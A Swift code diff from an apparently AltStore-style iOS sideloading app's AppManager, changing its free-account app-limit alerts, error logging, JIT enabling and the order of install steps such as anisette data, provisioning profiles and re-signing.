guard !UserDefaults.standard.isAppLimitDisabled, let activeAppsLimit = UserDefaults.standard.activeAppsLimit else { return completion(.success(())) }
|
guard let activeAppsLimit = UserDefaults.standard.activeAppsLimit else { return completion(.success(())) }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
let activeApps = InstalledApp.fetchActiveApps(in: DatabaseManager.shared.viewContext)
|
let activeApps = InstalledApp.fetchActiveApps(in: DatabaseManager.shared.viewContext)
|
||||||
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
|
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
|
||||||
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
|
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
|
||||||
|
|
||||||
var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
|
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
|
||||||
let message: String
|
let message: String
|
||||||
|
|
||||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||||
{
|
{
|
||||||
if app.appExtensions.isEmpty
|
if app.appExtensions.isEmpty
|
||||||
{
|
{
|
||||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
|
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
|
||||||
|
|
||||||
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
|
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
|
||||||
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
|
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
|
||||||
}
|
}
|
||||||
|
|
||||||
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
|
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
|
||||||
@@ -304,45 +307,6 @@ extension AppManager
|
|||||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
|
|
||||||
{
|
|
||||||
let clearAppCacheOperation = ClearAppCacheOperation()
|
|
||||||
clearAppCacheOperation.resultHandler = { result in
|
|
||||||
completion(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
self.run([clearAppCacheOperation], context: nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func log(_ error: Error, operation: LoggedError.Operation, app: AppProtocol)
|
|
||||||
{
|
|
||||||
switch error {
|
|
||||||
case ~OperationError.Code.cancelled: return // Don't log cancelled events
|
|
||||||
default: break
|
|
||||||
}
|
|
||||||
// Sanitize NSError on same thread before performing background task.
|
|
||||||
let sanitizedError = (error as NSError).sanitizedForSerialization()
|
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
|
||||||
var app = app
|
|
||||||
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
|
|
||||||
{
|
|
||||||
app = tempApp
|
|
||||||
}
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
_ = LoggedError(error: sanitizedError, app: app, operation: operation, context: context)
|
|
||||||
try context.save()
|
|
||||||
}
|
|
||||||
catch let saveError
|
|
||||||
{
|
|
||||||
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
extension AppManager
|
extension AppManager
|
||||||
@@ -395,7 +359,7 @@ extension AppManager
|
|||||||
case .success(let source): fetchedSources.insert(source)
|
case .success(let source): fetchedSources.insert(source)
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
let source = managedObjectContext.object(with: source.objectID) as! Source
|
let source = managedObjectContext.object(with: source.objectID) as! Source
|
||||||
source.error = (error as NSError).sanitizedForSerialization()
|
source.error = (error as NSError).sanitizedForCoreData()
|
||||||
errors[source] = error
|
errors[source] = error
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -483,7 +447,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw context.error ?? OperationError.unknown() }
|
guard let result = results.values.first else { throw context.error ?? OperationError.unknown }
|
||||||
completionHandler(result)
|
completionHandler(result)
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@@ -502,7 +466,7 @@ extension AppManager
|
|||||||
func update(_ app: InstalledApp, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
|
func update(_ app: InstalledApp, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
|
||||||
{
|
{
|
||||||
guard let storeApp = app.storeApp else {
|
guard let storeApp = app.storeApp else {
|
||||||
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
|
completionHandler(.failure(OperationError.appNotFound))
|
||||||
return Progress.discreteProgress(totalUnitCount: 1)
|
return Progress.discreteProgress(totalUnitCount: 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -510,7 +474,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw OperationError.unknown() }
|
guard let result = results.values.first else { throw OperationError.unknown }
|
||||||
completionHandler(result)
|
completionHandler(result)
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@@ -546,7 +510,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw OperationError.unknown() }
|
guard let result = results.values.first else { throw OperationError.unknown }
|
||||||
|
|
||||||
let installedApp = try result.get()
|
let installedApp = try result.get()
|
||||||
assert(installedApp.managedObjectContext != nil)
|
assert(installedApp.managedObjectContext != nil)
|
||||||
@@ -585,7 +549,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw OperationError.unknown() }
|
guard let result = results.values.first else { throw OperationError.unknown }
|
||||||
|
|
||||||
let installedApp = try result.get()
|
let installedApp = try result.get()
|
||||||
assert(installedApp.managedObjectContext != nil)
|
assert(installedApp.managedObjectContext != nil)
|
||||||
@@ -611,7 +575,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw OperationError.unknown() }
|
guard let result = results.values.first else { throw OperationError.unknown }
|
||||||
|
|
||||||
let installedApp = try result.get()
|
let installedApp = try result.get()
|
||||||
assert(installedApp.managedObjectContext != nil)
|
assert(installedApp.managedObjectContext != nil)
|
||||||
@@ -636,7 +600,7 @@ extension AppManager
|
|||||||
group.completionHandler = { (results) in
|
group.completionHandler = { (results) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let result = results.values.first else { throw OperationError.unknown() }
|
guard let result = results.values.first else { throw OperationError.unknown }
|
||||||
|
|
||||||
let installedApp = try result.get()
|
let installedApp = try result.get()
|
||||||
assert(installedApp.managedObjectContext != nil)
|
assert(installedApp.managedObjectContext != nil)
|
||||||
@@ -706,20 +670,13 @@ extension AppManager
|
|||||||
var installedApp: InstalledApp?
|
var installedApp: InstalledApp?
|
||||||
}
|
}
|
||||||
|
|
||||||
let appName = installedApp.name
|
|
||||||
let context = Context()
|
let context = Context()
|
||||||
context.installedApp = installedApp
|
context.installedApp = installedApp
|
||||||
|
|
||||||
|
|
||||||
let enableJITOperation = EnableJITOperation(context: context)
|
let enableJITOperation = EnableJITOperation(context: context)
|
||||||
enableJITOperation.resultHandler = { (result) in
|
enableJITOperation.resultHandler = { (result) in
|
||||||
switch result {
|
completionHandler(result)
|
||||||
case .success: completionHandler(.success(()))
|
|
||||||
case .failure(let nsError as NSError):
|
|
||||||
let localizedTitle = String(format: NSLocalizedString("Failed to enable JIT for %@", comment: ""), appName)
|
|
||||||
let error = nsError.withLocalizedTitle(localizedTitle)
|
|
||||||
self.log(error, operation: .enableJIT, app: installedApp)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
self.run([enableJITOperation], context: context, requiresSerialQueue: true)
|
self.run([enableJITOperation], context: context, requiresSerialQueue: true)
|
||||||
@@ -797,12 +754,6 @@ extension AppManager
|
|||||||
let progress = self.refreshProgress[app.bundleIdentifier]
|
let progress = self.refreshProgress[app.bundleIdentifier]
|
||||||
return progress
|
return progress
|
||||||
}
|
}
|
||||||
|
|
||||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
|
||||||
{
|
|
||||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
|
||||||
return isActivelyManaging
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
extension AppManager
|
extension AppManager
|
||||||
@@ -855,18 +806,12 @@ private extension AppManager
|
|||||||
|
|
||||||
return bundleIdentifier
|
return bundleIdentifier
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
var loggedErrorOperation: LoggedError.Operation {
|
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||||
switch self {
|
{
|
||||||
case .install: return .install
|
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||||
case .update: return .update
|
return isActivelyManaging
|
||||||
case .refresh: return .refresh
|
|
||||||
case .activate: return .activate
|
|
||||||
case .deactivate: return .deactivate
|
|
||||||
case .backup: return .backup
|
|
||||||
case .restore: return .restore
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@discardableResult
|
@discardableResult
|
||||||
@@ -1003,145 +948,13 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
DispatchQueue.main.schedule {
|
|
||||||
UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
|
||||||
}
|
|
||||||
performAppOperations()
|
performAppOperations()
|
||||||
DispatchQueue.main.schedule {
|
|
||||||
UIApplication.shared.isIdleTimerDisabled = false
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return group
|
return group
|
||||||
}
|
}
|
||||||
|
|
||||||
func removeAppExtensions(
|
private func _install(_ app: AppProtocol, operation appOperation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any]? = nil, cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
|
||||||
from application: ALTApplication,
|
|
||||||
existingApp: InstalledApp?,
|
|
||||||
extensions: Set<ALTApplication>,
|
|
||||||
_ presentingViewController: UIViewController?,
|
|
||||||
completion: @escaping (Result<Void, Error>) -> Void
|
|
||||||
) {
|
|
||||||
|
|
||||||
// App-Extensions: Ensure existing app's extensions and currently installing app's extensions must match
|
|
||||||
if let existingApp {
|
|
||||||
_ = RSTAsyncBlockOperation { _ in
|
|
||||||
let existingAppEx: Set<InstalledExtension> = existingApp.appExtensions
|
|
||||||
let currentAppEx: Set<ALTApplication> = application.appExtensions
|
|
||||||
|
|
||||||
let currentAppExNames = currentAppEx.map{ appEx in appEx.bundleIdentifier}
|
|
||||||
let existingAppExNames = existingAppEx.map{ appEx in appEx.bundleIdentifier}
|
|
||||||
|
|
||||||
let excessExtensions = currentAppEx.filter{
|
|
||||||
!(existingAppExNames.contains($0.bundleIdentifier))
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
let isMatching = (currentAppEx.count == existingAppEx.count) && excessExtensions.isEmpty
|
|
||||||
let diagnosticsMsg = "AppManager.removeAppExtensions: App Extensions in existingApp and currentApp are matching: \(isMatching)\n"
|
|
||||||
+ "AppManager.removeAppExtensions: existingAppEx: \(existingAppExNames); currentAppEx: \(String(describing: currentAppExNames))\n"
|
|
||||||
print(diagnosticsMsg)
|
|
||||||
|
|
||||||
|
|
||||||
// if background mode, then remove only the excess extensions
|
|
||||||
guard let presentingViewController: UIViewController = presentingViewController else {
|
|
||||||
// perform silent extensions cleanup for those that aren't already present in existing app
|
|
||||||
print("\n Performing background mode Extensions removal \n")
|
|
||||||
print("AppManager.removeAppExtensions: Excess Extensions: \(excessExtensions)")
|
|
||||||
|
|
||||||
do {
|
|
||||||
for appExtension in excessExtensions {
|
|
||||||
print("Deleting extension \(appExtension.bundleIdentifier)")
|
|
||||||
try FileManager.default.removeItem(at: appExtension.fileURL)
|
|
||||||
}
|
|
||||||
return completion(.success(()))
|
|
||||||
} catch {
|
|
||||||
return completion(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
guard !application.appExtensions.isEmpty else { return completion(.success(())) }
|
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
let firstSentence: String
|
|
||||||
|
|
||||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
|
||||||
{
|
|
||||||
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "")
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to creating 10 App IDs per week.", comment: "")
|
|
||||||
}
|
|
||||||
|
|
||||||
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit? There are \(extensions.count) Extensions", comment: "")
|
|
||||||
|
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
|
||||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
|
|
||||||
completion(.failure(OperationError.cancelled))
|
|
||||||
}))
|
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
|
|
||||||
completion(.success(()))
|
|
||||||
})
|
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
|
|
||||||
do
|
|
||||||
{
|
|
||||||
for appExtension in application.appExtensions
|
|
||||||
{
|
|
||||||
print("Deleting extension \(appExtension.bundleIdentifier)")
|
|
||||||
try FileManager.default.removeItem(at: appExtension.fileURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
completion(.success(()))
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
completion(.failure(error))
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if let presentingViewController {
|
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Choose App Extensions", comment: ""), style: .default) { (action) in
|
|
||||||
let popoverContentController = AppExtensionViewHostingController(extensions: extensions) { (selection) in
|
|
||||||
do
|
|
||||||
{
|
|
||||||
for appExtension in selection
|
|
||||||
{
|
|
||||||
print("Deleting extension \(appExtension.bundleIdentifier)")
|
|
||||||
|
|
||||||
try FileManager.default.removeItem(at: appExtension.fileURL)
|
|
||||||
}
|
|
||||||
completion(.success(()))
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
completion(.failure(error))
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
let suiview = popoverContentController.view!
|
|
||||||
suiview.translatesAutoresizingMaskIntoConstraints = false
|
|
||||||
|
|
||||||
popoverContentController.modalPresentationStyle = .popover
|
|
||||||
|
|
||||||
if let popoverPresentationController = popoverContentController.popoverPresentationController {
|
|
||||||
popoverPresentationController.sourceView = presentingViewController.view
|
|
||||||
popoverPresentationController.sourceRect = CGRect(x: 50, y: 50, width: 4, height: 4)
|
|
||||||
popoverPresentationController.delegate = popoverContentController
|
|
||||||
|
|
||||||
presentingViewController.present(popoverContentController, animated: true)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
presentingViewController.present(alertController, animated: true)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private func _install(_ app: AppProtocol, operation appOperation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any] = [.increasedDebuggingMemoryLimit: ALTEntitlement.increasedDebuggingMemoryLimit, .increasedMemoryLimit: ALTEntitlement.increasedMemoryLimit, .extendedVirtualAddressing: ALTEntitlement.extendedVirtualAddressing], cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
|
|
||||||
{
|
{
|
||||||
let progress = Progress.discreteProgress(totalUnitCount: 100)
|
let progress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
|
|
||||||
@@ -1213,80 +1026,6 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
verifyOperation.addDependency(downloadOperation)
|
verifyOperation.addDependency(downloadOperation)
|
||||||
|
|
||||||
/* Remove App Extensions */
|
|
||||||
|
|
||||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if let error = context.error
|
|
||||||
{
|
|
||||||
throw error
|
|
||||||
}
|
|
||||||
/*
|
|
||||||
guard case .install = appOperation else {
|
|
||||||
operation.finish()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
guard let extensions = context.app?.appExtensions else {
|
|
||||||
throw OperationError.invalidParameters("AppManager._install.removeAppExtensionsOperation: context.app?.appExtensions is nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let currentApp = context.app else {
|
|
||||||
throw OperationError.invalidParameters("AppManager._install.removeAppExtensionsOperation: context.app is nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
self?.removeAppExtensions(from: currentApp,
|
|
||||||
existingApp: app as? InstalledApp,
|
|
||||||
extensions: extensions,
|
|
||||||
context.authenticatedContext.presentingViewController
|
|
||||||
) { result in
|
|
||||||
switch result {
|
|
||||||
case .success(): break
|
|
||||||
case .failure(let error): context.error = error
|
|
||||||
}
|
|
||||||
operation.finish()
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
context.error = error
|
|
||||||
operation.finish()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
removeAppExtensionsOperation.addDependency(verifyOperation)
|
|
||||||
|
|
||||||
|
|
||||||
/* Refresh Anisette Data */
|
|
||||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
|
||||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
case .failure(let error): context.error = error
|
|
||||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
|
||||||
}
|
|
||||||
}
|
|
||||||
refreshAnisetteDataOperation.addDependency(removeAppExtensionsOperation)
|
|
||||||
|
|
||||||
|
|
||||||
/* Fetch Provisioning Profiles */
|
|
||||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
|
||||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
|
||||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
case .failure(let error): context.error = error
|
|
||||||
case .success(let provisioningProfiles):
|
|
||||||
context.provisioningProfiles = provisioningProfiles
|
|
||||||
print("PROVISIONING PROFILES \(context.provisioningProfiles)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
|
||||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
|
||||||
|
|
||||||
|
|
||||||
/* Deactivate Apps (if necessary) */
|
/* Deactivate Apps (if necessary) */
|
||||||
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||||
@@ -1304,20 +1043,7 @@ private extension AppManager
|
|||||||
throw error
|
throw error
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let profiles = context.provisioningProfiles else {
|
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
|
||||||
throw OperationError.invalidParameters("AppManager._install.deactivateAppsOperation: context.provisioningProfiles is nil")
|
|
||||||
}
|
|
||||||
if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
|
|
||||||
operation.finish()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
guard
|
|
||||||
let app = context.app,
|
|
||||||
let presentingViewController = context.authenticatedContext.presentingViewController
|
|
||||||
else {
|
|
||||||
throw OperationError.invalidParameters("AppManager._install.deactivateAppsOperation: self.context.app or context.authenticatedContext.presentingViewController is nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
self?.deactivateApps(for: app, presentingViewController: presentingViewController) { result in
|
self?.deactivateApps(for: app, presentingViewController: presentingViewController) { result in
|
||||||
switch result
|
switch result
|
||||||
@@ -1335,7 +1061,8 @@ private extension AppManager
|
|||||||
operation.finish()
|
operation.finish()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
|
deactivateAppsOperation.addDependency(verifyOperation)
|
||||||
|
|
||||||
|
|
||||||
/* Patch App */
|
/* Patch App */
|
||||||
let patchAppOperation = RSTAsyncBlockOperation { operation in
|
let patchAppOperation = RSTAsyncBlockOperation { operation in
|
||||||
@@ -1356,9 +1083,7 @@ private extension AppManager
|
|||||||
throw error
|
throw error
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let app = context.app else {
|
guard let app = context.app else { throw OperationError.invalidParameters }
|
||||||
throw OperationError.invalidParameters("AppManager._install.patchAppOperation: context.app is nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let isUntetherRequired = app.bundle.infoDictionary?[Bundle.Info.untetherRequired] as? Bool,
|
guard let isUntetherRequired = app.bundle.infoDictionary?[Bundle.Info.untetherRequired] as? Bool,
|
||||||
let minimumiOSVersionString = app.bundle.infoDictionary?[Bundle.Info.untetherMinimumiOSVersion] as? String,
|
let minimumiOSVersionString = app.bundle.infoDictionary?[Bundle.Info.untetherMinimumiOSVersion] as? String,
|
||||||
@@ -1411,6 +1136,32 @@ private extension AppManager
|
|||||||
patchAppOperation.addDependency(deactivateAppsOperation)
|
patchAppOperation.addDependency(deactivateAppsOperation)
|
||||||
|
|
||||||
|
|
||||||
|
/* Refresh Anisette Data */
|
||||||
|
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||||
|
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .failure(let error): context.error = error
|
||||||
|
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||||
|
}
|
||||||
|
}
|
||||||
|
refreshAnisetteDataOperation.addDependency(patchAppOperation)
|
||||||
|
|
||||||
|
|
||||||
|
/* Fetch Provisioning Profiles */
|
||||||
|
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||||
|
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||||
|
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .failure(let error): context.error = error
|
||||||
|
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||||
|
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||||
|
|
||||||
|
|
||||||
/* Resign */
|
/* Resign */
|
||||||
let resignAppOperation = ResignAppOperation(context: context)
|
let resignAppOperation = ResignAppOperation(context: context)
|
||||||
resignAppOperation.resultHandler = { (result) in
|
resignAppOperation.resultHandler = { (result) in
|
||||||
@@ -1420,7 +1171,7 @@ private extension AppManager
|
|||||||
case .success(let resignedApp): context.resignedApp = resignedApp
|
case .success(let resignedApp): context.resignedApp = resignedApp
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
resignAppOperation.addDependency(patchAppOperation)
|
resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||||
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
||||||
|
|
||||||
|
|
||||||
@@ -1463,7 +1214,7 @@ private extension AppManager
|
|||||||
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
||||||
installOperation.addDependency(sendAppOperation)
|
installOperation.addDependency(sendAppOperation)
|
||||||
|
|
||||||
let operations = [downloadOperation, verifyOperation, removeAppExtensionsOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
|
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||||
group.add(operations)
|
group.add(operations)
|
||||||
self.run(operations, context: group.context)
|
self.run(operations, context: group.context)
|
||||||
|
|
||||||
@@ -1477,24 +1228,6 @@ private extension AppManager
|
|||||||
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
|
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
|
||||||
context.app = ALTApplication(fileURL: app.fileURL)
|
context.app = ALTApplication(fileURL: app.fileURL)
|
||||||
|
|
||||||
//App-Extensions: Ensure DB data and disk state must match
|
|
||||||
let dbAppEx: Set<InstalledExtension> = Set(app.appExtensions)
|
|
||||||
let diskAppEx: Set<ALTApplication> = Set(context.app!.appExtensions)
|
|
||||||
let diskAppExNames = diskAppEx.map { $0.bundleIdentifier }
|
|
||||||
let dbAppExNames = dbAppEx.map{ $0.bundleIdentifier }
|
|
||||||
let isMatching = Set(dbAppExNames) == Set(diskAppExNames)
|
|
||||||
|
|
||||||
let validateAppExtensionsOperation = RSTAsyncBlockOperation { op in
|
|
||||||
|
|
||||||
let errMessage = "AppManager.refresh: App Extensions in DB and Disk are matching: \(isMatching)\n"
|
|
||||||
+ "AppManager.refresh: dbAppEx: \(dbAppExNames); diskAppEx: \(String(describing: diskAppExNames))\n"
|
|
||||||
print(errMessage)
|
|
||||||
if(!isMatching){
|
|
||||||
completionHandler(.failure(OperationError.refreshAppFailed(message: errMessage)))
|
|
||||||
}
|
|
||||||
op.finish()
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Fetch Provisioning Profiles */
|
/* Fetch Provisioning Profiles */
|
||||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||||
@@ -1505,8 +1238,6 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 60)
|
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 60)
|
||||||
fetchProvisioningProfilesOperation.addDependency(validateAppExtensionsOperation)
|
|
||||||
|
|
||||||
|
|
||||||
/* Refresh */
|
/* Refresh */
|
||||||
let refreshAppOperation = RefreshAppOperation(context: context)
|
let refreshAppOperation = RefreshAppOperation(context: context)
|
||||||
@@ -1516,21 +1247,14 @@ private extension AppManager
|
|||||||
case .success(let installedApp):
|
case .success(let installedApp):
|
